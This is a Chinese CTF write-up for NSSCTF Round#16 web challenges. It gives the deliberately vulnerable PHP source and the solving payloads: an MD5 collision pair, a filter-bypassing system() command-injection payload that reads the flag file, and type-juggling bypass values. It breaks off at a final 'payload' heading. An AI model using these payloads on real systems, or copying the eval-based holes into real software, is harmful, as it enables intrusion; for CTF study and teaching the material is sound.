NSSCTF Round#16 Basic -Web wp

原创

y1Fan_ 2024-01-14 11:47:32 博主文章分类：CTF ©著作权

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RCE但是没有完全RCE

<?php
error_reporting(0);
highlight_file(__file__);
include('level2.php');
if (isset($_GET['md5_1']) && isset($_GET['md5_2'])) {
    if ((string)$_GET['md5_1'] !== (string)$_GET['md5_2'] && md5($_GET['md5_1']) === md5($_GET['md5_2'])) {
        if (isset($_POST['md5_3'])&&md5($_POST['md5_3']) == md5($_POST['md5_3'])) {
            echo $level2;
        } else {
            echo "您！！！！！那么现在阁下又该如何应对呢";
        }
    } else {
        echo "还在用传统方法？？？？";
    }
} else {
    echo "来做做熟悉的MD5~";
}

payload

md5_1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&md5_2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

md5_3=a

得到下一关地址3z_RC3.php

<?php
error_reporting(0);
highlight_file(__FILE__);
$shell = $_POST['shell'];
$cmd = $_GET['cmd'];
if(preg_match('/f|l|a|g|\*|\?/i',$cmd)){
    die("Hacker!!!!!!!!");
}
eval（$shell($cmd));

payload

cmd=more /[e-h][k-m][@-z][e-h]
shell=system

了解过PHP特性吗

<?php
error_reporting(0);
highlight_file(__FILE__);
include("rce.php");
$checker_1 = FALSE;
$checker_2 = FALSE;
$checker_3 = FALSE;
$checker_4 = FALSE;
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {
    die("no!!");
}
if (intval($num)) {
    $checker_1 = TRUE;
}
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
    $ctype = strrev($_POST['ctype']);
    $is_num = strrev($_POST['is_num']);
    if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
        $checker_2 = TRUE;
    }
}
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
    if (!is_numeric($_514) && $_514 > 9999999) {
        $checker_3 = TRUE;
    }
}
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
    for ($i = 0; $i < count($arr4y); $i++) {
        if ($arr4y[$i] === "NSS") {
            die("no!");
        }
        $arr4y[$i] = intval($arr4y[$i]);
    }
    if (array_search("NSS", $arr4y) === 0) {
        $checker_4 = TRUE;
    }
}
if ($checker_1 && $checker_2 && $checker_3 && $checker_4) {
    echo $rce;
}

payload

num[]=1&114=1e6

ctype=OZDCKNQ&is_num=807016042&514=19999999a&arr4y[]=NSS1

下一关地址Rc3_function.php

<?php
error_reporting(0);
highlight_file(__FILE__);
$nss=$_POST['nss'];
$shell = $_POST['shell'];
if(isset($shell)&& isset($nss)){
    $nss_shell = create_function($shell,$nss);
}

payload